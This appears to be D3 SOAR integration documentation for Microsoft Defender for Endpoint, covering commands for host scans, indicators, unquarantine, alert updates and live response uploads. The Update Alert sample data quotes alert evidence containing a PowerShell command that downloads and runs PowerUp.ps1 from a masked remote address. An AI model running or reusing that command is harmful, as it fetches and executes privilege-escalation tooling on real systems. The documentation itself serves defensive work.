A Microsoft Defender Antivirus (Microsoft Defender AV) scan can run alongside other antivirus solutions, regardless if Microsoft Defender Antivirus is the active antivirus solution. Microsoft Defender Antivirus can be running in Passive mode. For more information, see Microsoft Defender Antivirus compatibility from Microsoft’s documentation.
Input
Input Parameter
Required /Optional
Description
Example
Hosts
Required
The machine IDs of the hosts to initiate an antivirus scan. Hosts can be obtained using the List Hosts or Get Host By IP command.
["*****","*****"]
Comment
Optional
A comment associated with the action.
Check machine for viruses due to alert
Scan Type
Required
The scan type (i.e., Quick or Full) to perform. The default value is Quick.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Scan Hosts failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Machine XXX was not found.
Error Sample Data
Scan Hosts failed.
Status Code: 404.
Message: Machine XXX was not found.
Submit Indicator
Updates an indicator.
READER NOTE
Indicator Value is a required parameterto run this command.
Run the List Indicator command to obtain the Indicator Value. Indicator Values can be found in the raw data at the path $.value[*].indicatorValue.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
There is a limit of 15,000 active indicators per tenant.
If you leave some parameters empty, any existing values will still be kept. If optional parameters are left undefined with previously existing values, those values will also be kept.
Input
Input Parameter
Required /Optional
Description
Example
Indicator Value
Required
The identity of the Indicator entity to update. Indicator Values can be obtained using the List Indicator command.
The updated type of the indicator. The available indicator types are FileSha1, FileMd5, CertificateThumbprint, FileSha256, IpAddress, DomainName and Url.
DomainName
Action
Required
The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.
AlertAndBlock
Application
Optional
The updated application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.
demo-test
Title
Required
The updated indicator alert title.
test
Description
Required
The updated description of the indicator.
test
Expiration Time
Optional
The updated expiration time of the indicator. For example, 2022-12-12T00:00:00Z.
2022-12-12T00:00:00Z
Severity
Optional
The updated severity of the indicator. The available input options are Informational, Low, Medium, and High.
Informational
Recommended Actions
Optional
The updated recommended actions for the indicator alert.
nothing
rbac Group Names
Optional
A comma-separated list of updated RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.
RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"ID": *******
}
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
@odata.context
https://api.securitycenter.microsoft.com/api/***
id
*****
indicatorValue
https://*****.com/***
indicatorType
DomainName
action
AlertAndBlock
createdBy
*****
severity
Informational
category
1
application
demo-test
educateUrl
bypassDurationHours
title
test
description
test
recommendedActions
nothing
creationTimeDateTimeUtc
4/12/2021 10:33:30 PM
expirationTime
12/12/2022 12:00:00 AM
lastUpdateTime
4/13/2021 10:08:56 PM
lastUpdatedBy
*****
rbacGroupNames
rbacGroupIds
notificationId
notificationBody
version
mitreTechniques
historicalDetection
False
lookBackPeriod
generateAlert
False
additionalInfo
createdByDisplayName
d3cyebr
externalId
createdBySource
PublicApi
certificateInfo
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Update Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.
Error Sample Data
Update Indicator failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.
Submit URL Indicators
Create new or update existing URL Indicator(s) with different action and alert settings. This command can be used to block, allow, audit or warn about specified URLs. Microsoft Defender for Endpoint will evaluate the command parameters and decide whether to create new indicators or update the existing ones.
READER NOTE
Limitations for this command:
Rate limitations for this API are 100 calls per minute and 1500 calls per hour.
There's a limit of 15,000 active indicators per tenant.
The action to be taken when the indicator is detected within the organization. The available actions are Allow, Audit, Warn, and Block Execution.
Block Execution
Application
Optional
The application associated with the new indicators only. This parameter applies to the submission of new URL indicators, and will not update the application value of existing indicators.
demo-block
Alert Title
Optional
The URL indicator alert title.
Block the URLs
Description
Required
The description of the URL indicator.
Malware sites
Expiration Time
Optional
The expiration UTC time of the URL indicator. When not specified, the indicator will be Never Expired. Once an expired time is set, it cannot be changed back to Never Expired.
2024-07-29 00:00
Generate Alert
Optional
The choice for whether to generate an alert for the URL block indicators. The default value is False. When the action parameter is set to Allow, this parameter will automatically be set to False. When the action parameter is set to Audit, the Generate Alert parameter will be automatically set to True.
False
Alert Severity
Optional
The severity level of the alert for the URL indicator. Possible values are Informational, Low, Medium, and High. If not specified, the default value is Informational.
Informational
Recommended Actions
Optional
The recommended actions for addressing the indicator alert.
Action suggested
Device Groups Scope
Optional
The comma-separated list of updated RBAC group names to which the indicator will be applied. The input RBAC device groups are where the indicator will be exposed and active. Indicators created for certain target groups will be exposed to all devices in the group. Leave this parameter empty to avoid unwanted access exposure. RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.
["UnassignedGroup","Lab1Group", "group1"]
Output
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
URL Indicator
Action
Submit Type
https://www.examples.com
Block
Created
https://www.malware.com
Block
Updated
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Submit URL Indicators failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The parameter Expiration Time should be set to a future date time.
Error Sample Data
Submit URL Indicators failed.
Status Code: 400.
Message: The parameter Expiration Time should be set to a future date time.
Unquarantine Hosts
Undoes the isolation of the specified host(s).
READER NOTE
The parameter Hosts is required to run this command.
Run the List Hosts or Get Host By IP command to obtain Hosts. For both the List Hosts and Get Host By IP command, Hosts can be found in the raw data at the path $.value[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The quarantine process may take some time. If the status is pending, the device is still in the isolation process. If you run the Unquarantined Host command during this process, an error will return. To check the status of the quarantine process, navigate to the device Action Center on the Microsoft Defender for Endpoint platform. Note: You cannot unisolate a device that has already been isolated. If you do so, an error will return.
Input
Input Parameter
Required /Optional
Description
Example
Hosts
Required
TThe machine IDs of the hosts to unquarantine. Hosts can be obtained using the List Hosts or Get Host By IP command.
["*****","*****"]
Comment
Required
A comment associated with the action.
Unisolate machine since it was clean and validated
Output
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks. SAMPLE DATA
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Unisolate machine since it was clean and validated
STATUS
Unisolate machine since it was clean and validated
Pending
MACHINEID
Pending
***
COMPUTERDNSNAME
***
CREATIONDATETIMEUTC
7/31/2020 12:59:02 AM
LASTUPDATEDATETIMEUTC
7/31/2020 12:59:02 AM
7/31/2020 12:59:02 AM
CANCELLATIONREQUESTOR
7/31/2020 12:59:02 AM
CANCELLATIONCOMMENT
CANCELLATIONDATETIMEUTC
ERRORHRESULT
0
SCOPE
0
EXTERNALID
REQUESTSOURCE
PublicApi
RELATEDFILEINFO
PublicApi
COMMANDS
[]
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Unquarantine Hosts failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Cannot unisolate a device that is unisolated.
Error Sample Data
Unquarantine Hosts failed.
Status Code: 400.
Message: Cannot unisolate a device that is unisolated.
Update Alert
Updates the properties of a specified existing alert.
READER NOTE
Alert ID is a required parameter to run this command.
Run the Fetch Event or Fetch Related Events command to obtain Alert IDs. You should already have your desired Alert IDs on hand to run this command. If you don’t, you may use the Fetch Event or Fetch Related Events command with defined filters to retrieve the desired Alert IDs. The Alert IDs can be found in the raw data at the path $.value[*].id.
Limitations for this command:
You can update alerts that are available in the API. For more information, see List Alerts.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
See Update alert from Microsoft’s documentation for more details.
Input
Input Parameter
Required /Optional
Description
Example
Alert ID
Required
The ID of the alert to update. Alert ID can be obtained using the Fetch Event or Fetch Related Events command.
*****_*****
Status
Required
The updated status of the alert. The available statuses are New, InProgress and Resolved.
Resolved
Assigned To
Optional
The owner of the alert.
***@example.com
Classification
Optional
The classification of the alert. The valid property values are Unknown, FalsePositive, and TruePositive.
FalsePositive
Determination
Optional
The determination of the alert. The valid property values are: NotAvailable, Apt, Malware, SecurityPersonnel, SecurityTesting, UnwantedSoftware, and Other.
Malware
Comment
Optional
A comment about the alert.
Resolve my alert and assign to secop2
Output
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
CODE
Successful
Raw Data
The primary response data from the API request.
SAMPLE DATA
JSON
{
"@odata.context": "https://api.securitycenter.microsoft.com/api/***",
"id": "*****",
"incidentId": *****,
"investigationId": *****,
"assignedTo": "***@example.com",
"severity": "Medium",
"status": "Resolved",
"classification": "FalsePositive",
"determination": "Malware",
"investigationState": "SuccessfullyRemediated",
"detectionSource": "WindowsDefenderAtp",
"category": "SuspiciousActivity",
"threatFamilyName": null,
"title": "A suspicious file was observed",
"description": "This file exhibits behaviors or traits of malware. It might do one or more of the following: \n1. Give a remote attacker access to your PC. \n2. Download and install other malware. \n3. Record your keystrokes and the sites you visit. \n4. Send information about your PC, including user names, passwords and browsing history, to a remote malicious hacker. \n5. Use your computer for click-fraud, bitcoin mining, DDoS attacks and spamming.",
"alertCreationTime": "2020-07-21T22:34:18.4813169Z",
"firstEventTime": "2020-07-21T22:30:58.3016811Z",
"lastEventTime": "2020-07-21T22:31:03.2234252Z",
"lastUpdateTime": "2020-07-31T17:55:49.9533333Z",
"resolvedTime": "2020-07-21T22:51:30.253033Z",
"machineId": "*****",
"computerDnsName": "*****-*****-*****",
"rbacGroupName": null,
"aadTenantId": "*****",
"mitreTechniques": [],
"relatedUser": {
"userName": "***",
"domainName": "***"
},
"comments": [
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-28T22:17:20.8021946Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T00:38:11.3857592Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T01:00:42.8443678Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T17:55:49.9543967Z"
}
],
"evidence": [
{
"entityType": "Process",
"sha1": "*****",
"sha256": "*****",
"fileName": "***.exe",
"filePath": "C:\\Windows",
"processId": ***,
"processCommandLine": "\"***.exe\" ",
"processCreationTime": "2020-07-21T22:30:57.1560671Z",
"parentProcessId": ***,
"parentProcessCreationTime": "2020-07-21T22:30:55.1592591Z",
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": ***,
"domainName": ***,
"userSid": ***,
"aadUserId": ***,
"userPrincipalName": null
},
{
"entityType": "Process",
"sha1": "*****",
"sha256": "*****",
"fileName": "***.exe",
"filePath": "C:\\Windows",
"processId": ***,
"processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('***.***.***.***/***.ps1'); Get-ServiceUnquoted \" >c:\\windows\\***.txt",
"processCreationTime": "2020-07-21T22:31:01.4107316Z",
"parentProcessId": *****,
"parentProcessCreationTime": "2020-07-21T22:30:57.1560671Z",
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": ***,
"domainName": ***,
"userSid": ***,
"aadUserId": ***,
"userPrincipalName": null
}
]
}
Context Data
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
SAMPLE DATA
CODE
{
"@odata.context": "https://api.securitycenter.microsoft.com/api/***",
"id": "*****",
"incidentId": ***,
"investigationId": ***,
"assignedTo": "***@example.com",
"severity": "Medium",
"status": "Resolved",
"classification": "FalsePositive",
"determination": "Malware",
"investigationState": "SuccessfullyRemediated",
"detectionSource": "WindowsDefenderAtp",
"category": "SuspiciousActivity",
"threatFamilyName": null,
"title": "A suspicious file was observed",
"description": "This file exhibits behaviors or traits of malware. It might do one or more of the following: \n1. Give a remote attacker access to your PC. \n2. Download and install other malware. \n3. Record your keystrokes and the sites you visit. \n4. Send information about your PC, including user names, passwords and browsing history, to a remote malicious hacker. \n5. Use your computer for click-fraud, bitcoin mining, DDoS attacks and spamming.",
"alertCreationTime": "2020-07-21T22:34:18.4813169Z",
"firstEventTime": "2020-07-21T22:30:58.3016811Z",
"lastEventTime": "2020-07-21T22:31:03.2234252Z",
"lastUpdateTime": "2020-07-31T17:55:49.9533333Z",
"resolvedTime": "2020-07-21T22:51:30.253033Z",
"machineId": "*****",
"computerDnsName": "***-***-***",
"rbacGroupName": null,
"aadTenantId": "*****",
"mitreTechniques": [],
"relatedUser": {
"userName": "***",
"domainName": "***"
},
"comments": [
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-28T22:17:20.8021946Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T00:38:11.3857592Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T01:00:42.8443678Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T17:55:49.9543967Z"
}
],
"evidence": [
{
"entityType": "Process",
"sha1": "*****",
"sha256": "*****",
"fileName": "***.exe",
"filePath": "C:\\Windows",
"processId": ***,
"processCommandLine": "\"***.exe\" ",
"processCreationTime": "2020-07-21T22:30:57.1560671Z",
"parentProcessId": ***,
"parentProcessCreationTime": "2020-07-21T22:30:55.1592591Z",
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": ***,
"domainName": ***,
"userSid": ***,
"aadUserId": ***,
"userPrincipalName": null
},
{
"entityType": "Process",
"sha1": "*****",
"sha256": "*****",
"fileName": "***.exe",
"filePath": "C:\\Windows\\***\\v*.*",
"processId": 4280,
"processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('***.***.***.***/PowerUp.ps1'); Get-ServiceUnquoted \" >c:\\windows\\***.txt",
"processCreationTime": "2020-07-21T22:31:01.4107316Z",
"parentProcessId": 4748,
"parentProcessCreationTime": "2020-07-21T22:30:57.1560671Z",
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": ***,
"domainName": ***,
"userSid": ***,
"aadUserId": ***,
"userPrincipalName": null
}
]
}
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Update Alert failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Invalid Authorization payload.
Error Sample Data
Update Alert failed.
Status Code: 401.
Message: Invalid Authorization payload.
Update Indicator V2
Updates a specific indicator identified by its indicator ID.
READER NOTE
Indicator ID is a required parameter to run this command.
Run the List Indicator command to obtain the Indicator ID. Indicator IDs can be found in the raw data at the path $.value[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
There's a limit of 15,000 active indicators per tenant.
Input
Input Parameter
Required/Optional
Description
Example
Indicator ID
Required
The ID of the Indicator entity to update. Indicator ID can be obtained using the List Indicator command.
798
Action
Optional
The action to be taken if the indicator is detected within the organization. Available actions include Warn, Block, Audit, Block And Remediate, Alert, Alert And Block, and Allowed. When the Alert action is selected, the effective action will be Audit, and GenerateAlert will be set to True. When the Alert And Block action is selected, the effective action will be Block, and GenerateAlert will be set to True.
AlertAndBlock
Application
Optional
The application associated with the indicator.
WebServer apache
Title
Optional
The updated indicator alert title.
test-2024a
Description
Optional
The updated description of the indicator.
test-update2024a
Expiration Time
Optional
The updated expiration time of the indicator.
2024-10-01T00:00:00Z
Severity
Optional
The updated severity of the indicator. The available input options are Informational, Low, Medium, and High.
High
Recommended Actions
Optional
The updated recommended actions for addressing the indicator alert.
Monitoring
RBAC Group Names
Optional
The comma-separated list of updated RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter empty if you want to avoid unwanted access exposure. RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.
[
"group1",
"group2"
]
Output
Return Data
Indicates one of the possible command execution states: Successful or Failed.The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Raw Data
The primary response data from the API request.
SAMPLE DATA
JSON
No Sample Data
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
CODE
No Sample Data
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Update Alert failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Failed to get Access Token.
Error Sample Data
Update Alert failed.
Status Code: 400.
Message: Failed to get Access Token.
Upload File To Live Response Library
Uploads files to the live response library. Please note that the maximum file size limit is 20 MB.
READER NOTE
Limitations for this command:
File max size limitation is 20MB.
Rate limitations for this API are 100 calls per minute and 1500 calls per hour.
It is not recommended to use the Test Command feature with the Submit Sample Files command as it is designed for dynamic input files in Playbooks, Incident Attachments, and Artifact Attachments. There is a simple workaround to test the command:
Navigate to Configuration on the top bar menu.
Click Utility Commands on the left sidebar menu.
Use the search box to find and select the Create a File from input Text Array command.
Select the Test tab, then input the required information for the parameters. Click Test Command. A D3 File ID will appear in the output data after the file has been successfully created. (Note: The D3 File Source of the created file will be Playbook File)
Input
Input Parameter
Required/Optional
Description
Example
File ID
Required
The file ID of the file to be uploaded to the live response library.
d3security.com
File Source
Required
The file source of the file to be uploaded to the live response library. The options for file sources are:
Incident Attachment File: Manually uploaded file from Incident
Playbook File: Output from another Task
Artifact File: Ingested Artifact in an Event
DomainName
File Description
Required
The description of the file to be uploaded.
test description 0926c
Has Parameters
Optional
Indicates whether the script file to be uploaded includes parameters.
True
Parameters Description
Optional
The parameters required for the script to run. The default value is an empty string.
how to use parameter
Override If Exists
Optional
Specifies whether to override the file if it already exists. If not specified, the default value is False.
True
Output
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Update Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Failed to get Access Token.
Error Sample Data
Update Indicator failed.
Status Code: 400.
Message: Failed to get Access Token.
JavaScript errors detected
Please note, these errors can depend on your browser setup.
If this problem persists, please contact our support.
.png)
